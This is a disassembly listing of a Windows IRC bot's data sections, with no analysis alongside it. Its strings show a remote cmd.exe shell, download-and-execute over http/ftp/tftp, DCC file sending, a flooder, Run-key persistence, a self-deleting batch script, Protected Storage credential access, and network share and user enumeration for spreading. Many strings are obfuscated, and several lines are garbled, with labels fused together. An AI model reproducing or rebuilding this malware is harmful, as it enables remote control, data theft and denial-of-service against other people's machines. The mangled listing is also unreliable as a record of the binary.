		dd 72746Fh, 656D0298h, 766F6D6Dh, 490065h
a__cxxframehand	db '__CxxFrameHandler',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 2
		db '(',0
aWsaioctl	db 'WSAIoctl',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db  0Eh
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
a_		db '.',0
aClosehandle	db 'CloseHandle',0
		db  51h	; Q
		db 3, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 10h
		db  49h	; I
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0AEh	; ®
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 704F027Ch, 72506E65h, 7365636Fh, 1750073h
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 10h
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 2ABh
aReadfile	db 'ReadFile',0
		align 2
		dw 152h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		db  87h	; ‡
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
aM		db 'Œ',0
aDuplicatehandl	db 'DuplicateHandle',0
		db  3Ah	; :
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcess',0
a__0		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 2D0h
aSearchpatha	db 'SearchPathA',0
		db  97h	; —
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  69h	; i
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
		db '=',0
aCopyfilea	db 'CopyFileA',0
aP		db '¯',0
aExitprocess	db 'ExitProcess',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  5Dh	; ]
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
aM_0		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db 0E9h	; é
		db 1, 47h, 65h
aTwindowsdirect	db 'tWindowsDirectoryA',0
		align 10h
		db 0BFh	; ¿
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0FFh
		db 2, 53h, 65h
aTcurrentdirect	db 'tCurrentDirectoryA',0
		align 4
		dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
		dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		db  46h	; F
		db 1, 47h, 65h
aTdiskfreespace	db 'tDiskFreeSpaceExA',0
		dw 14Bh
aGetdrivetypea	db 'GetDriveTypeA',0
		dw 1D5h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 29Ah
aQueryperforman	db 'QueryPerformanceFrequency',0
		dw 299h
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
		dd 54657461h, 61657268h, 2190064h
aInitializecr_0	db 'InitializeCriticalSection',0
aP_0		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 247h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aI		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 150h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db 0BCh	; ¼
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 10h
aZ		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 10h
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
		dw 2D5h
aWsprintfa	db 'wsprintfA',0
		dw 177h
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		db  17h
		db 1, 47h, 65h
aTforegroundwin	db 'tForegroundWindow',0
aU_1		db 'ã',0
aFindwindowa	db 'FindWindowA',0
		db  3Ah	; :
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 10h
		db  97h	; —
		db 1, 49h, 73h
aCharalphanumer	db 'CharAlphaNumericA',0
aUser32_dll	db 'USER32.dll',0
		align 2
		dw 1C9h
aRegclosekey	db 'RegCloseKey',0
		dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1D90041h
		dd 45676552h, 566D756Eh, 65756C61h, 1E20041h, 4F676552h
		dd 4B6E6570h, 78457965h, 1EC0041h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
		dd 4565756Ch, 4178h, 655201CDh,	65724367h, 4B657461h, 78457965h
		dd 1230041h, 55746547h,	4E726573h, 41656D61h, 0A00000h
aCryptreleaseco	db 'CryptReleaseContext',0
aC		db '–',0
aCryptgenrandom	db 'CryptGenRandom',0
		align 2
aE		db '…',0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		db    7
		db 1, 53h, 68h
aEllexecutea	db 'ellExecuteA',0
aShell32_dll	db 'SHELL32.dll',0
		db 0BDh	; ½
		db 1, 5Fh, 73h
aTrcmpi		db 'trcmpi',0
		align 10h
		db  34h	; 4
		db 1, 5Fh, 69h
		db  74h	; t
		db 6Fh,	61h, 0
		db 0C5h	; Å
		db 1, 5Fh, 73h
aTrnicmp	db 'trnicmp',0
aA_0		db 'A',0
a_cxxthrowexcep	db '_CxxThrowException',0
		align 2
		dw 0Eh
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 2
		dw 252h
aLocalfree	db 'LocalFree',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 200h
_rdata		ends

; Section 3. (virtual address 00018000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00018000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 418000h
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er ...
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch
					; DATA XREF: .data:0041800Co
		dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0)
dword_418040	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h
					; DATA XREF: .data:00418008o
		dd 0BFD1h, 0
dword_41805C	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: .data:00418004o
		dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
		dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0
dword_418098	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: .data:off_418000o
		dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
		dd 0A68CCCA6h, 95h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h		aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h						; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
aExecuting	db ', executing',0      ; DATA XREF: sub_402A32+6B0o
aUpdating	db ', updating',0       ; DATA XREF: sub_402A32+699o
		align 4
unk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
aFile		db 'file://',0          ; DATA XREF: sub_402A32+C0o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
a_exe		db '.exe',0             ; DATA XREF: sub_403260+43o
					; sub_412720+51o
		align 4
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775haModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h	aXsUlsbNP	db '•‘Àž«˜¡Ð­¾°¶',0    ; DATA XREF: sub_4043E9+6o
		align 10h
a10_		db '10.',0              ; DATA XREF: sub_4041B7+56o
a192_168_	db '192.168.',0         ; DATA XREF: sub_4041B7+3Bo
		align 10h
a172_		db '172.',0             ; DATA XREF: sub_4041B7+20o
		align 4
a127_		db '127.',0             ; DATA XREF: sub_4041B7+5o
		align 10h
aU_U_U_U	db '%u.%u.%u.%u',0      ; DATA XREF: sub_40D871+1CCo
					; sub_41113B+45Ao
a1		db '::1',0              ; DATA XREF: sub_40435B+42o
aU_0		db '%u',0               ; DATA XREF: sub_4055E5+458o
					; sub_4055E5+69Eo ...
		align 4
aU_U_U_UU_0	db '%u.%u.%u.%u:%u',0   ; DATA XREF: sub_4055E5+31Eo
					; sub_4055E5+40Bo ...
		align 4
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; .data:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
aListProcesses	db 'List processes',0   ; DATA XREF: sub_4064BF+31o
		align 4
a02x		db '%02X',0             ; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
		align 4
a08x		db '%08X',0             ; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
		align 4
aS		db '%s',0               ; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
		align 4
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset aOxULN	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
					; "Ž•ÄÑîÔ«Æ­"
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset aLxULN	; "«•ÖÃîÔ«Æ­"
		dd offset dword_418DA8
		dd offset aBxQ		; "•ÅóŸ¶Û"
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset dword_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset aScIRns	; "‘–ØßÔ‰¸­è»"
		dd offset dword_418C6C
		dd offset aGkQ		; "ƒŠÐóŸ¶Û"
		dd offset dword_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h
					; DATA XREF: .data:00418BE4o
		dd 0D1A28AE5h, 0ACF5BAh, 0
dword_418C10	dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0)dword_418C24	dd 0DCC796A3h, 0CAAF99F4h, 0F3B0FFA1h, 0D48EB4B7h, 0D1F0C690h
					; DATA XREF: .data:00418BDCo
		dd 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h, 87h, 0
aGkQ		db 'ƒŠÐóŸ¶Û',0         ; DATA XREF: .data:00418BD8o
		align 4
		dd 0
aScIRns		db '‘–ØßÔ‰¸­è»',0      ; DATA XREF: .data:00418BD0o
		dd 0
dword_418C6C	dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh
					; DATA XREF: .data:00418BCCo
					; .data:00418BD4o
		dd 0EDh, 0
dword_418C88	dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0)dword_418C9C	dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h
					; DATA XREF: .data:00418BC4o
		dd 0D2A29BEAh, 2 dup(0)
dword_418CBC	dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0)dword_418CD0	dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0)dword_418CE4	dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0dword_418CF4	dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0)
					; DATA XREF: .data:00418BB4o
dword_418D0C	dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0)dword_418D20	dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0)dword_418D34	dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h
					; DATA XREF: .data:00418BA4o
					; .data:00418BACo
		dd 0D1A78EFCh, 0A6h, 0
dword_418D54	dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0dword_418D64	dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch
					; DATA XREF: .data:00418B9Co
		dd 0CC9EDAF8h, 0A0BBF3A7h, 88h,	0
aBxQ		db '•ÅóŸ¶Û',0         ; DATA XREF: .data:00418B98o
		align 8
aLxULN		db '«•ÖÃîÔ«Æ­',0        ; DATA XREF: .data:00418B90o
		align 8
dword_418DA8	dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h
					; DATA XREF: .data:off_418B8Co
					; .data:00418B94o
		dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0)
aOxULN		db 'Ž•ÄÑîÔ«Æ­',0        ; DATA XREF: .data:off_418B88o
		align 10h
asc_418DE0	db ':)',0               ; DATA XREF: sub_406A23+9Co
		align 4
asc_418DE4:				; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
		unicode	0, <\>,0
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: sub_406B81+1Bo
		align 4
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
aRejected	db ' rejected',0        ; DATA XREF: sub_40732D:loc_407423o
		align 4
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h							; sub_407928+96o ...
dword_418F50	dd 30h							; sub_40CA29+13Do ...
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 9ED9958Fh, 0A395FEh,	0dword_418F6C	dd 9EC09195h, 0CCBC9FE9h, 0BCBDBEA9h, 0C395FB96h, 2 dup(0)
					; DATA XREF: sub_408887+14o
